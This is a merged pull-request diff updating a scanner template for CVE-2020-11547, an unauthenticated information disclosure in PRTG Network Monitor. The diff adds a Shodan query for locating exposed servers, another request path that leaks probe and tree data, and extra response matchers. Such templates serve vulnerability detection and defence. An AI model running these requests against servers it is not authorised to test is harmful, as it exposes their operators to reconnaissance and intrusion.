Merge pull request #6415 from projectdiscovery/pussycat0x-patch-1

CVE-2020-11547 Minor-update

cves/2020/CVE-2020-11547.yaml

@@ -5,6 +5,9 @@ info:
   author: x6263
   severity: medium
   description: PRTG Network Monitor before 20.1.57.1745 allows remote unauthenticated attackers to obtain information about probes running or the server itself via an HTTP request.
+  metadata:
+    verified: true
+    shodan-query: title:"prtg"
   reference:
     - https://github.com/ch-rigu/CVE-2020-11547--PRTG-Network-Monitor-Information-Disclosure
     - https://nvd.nist.gov/vuln/detail/CVE-2020-11547
@@ -21,7 +24,9 @@ requests:
     path:
       - "{{BaseURL}}/public/login.htm?type=probes"
       - "{{BaseURL}}/public/login.htm?type=requests"
+      - "{{BaseURL}}/public/login.htm?type=treestat"
 
+    stop-at-first-match: true
     req-condition: true
     matchers-condition: and
     matchers:
@@ -33,6 +38,9 @@ requests:
         part: body
         words:
           - "prtg_network_monitor"
+          - "Probes"
+          - "Groups"
+        condition: or
 
       - type: status
         status: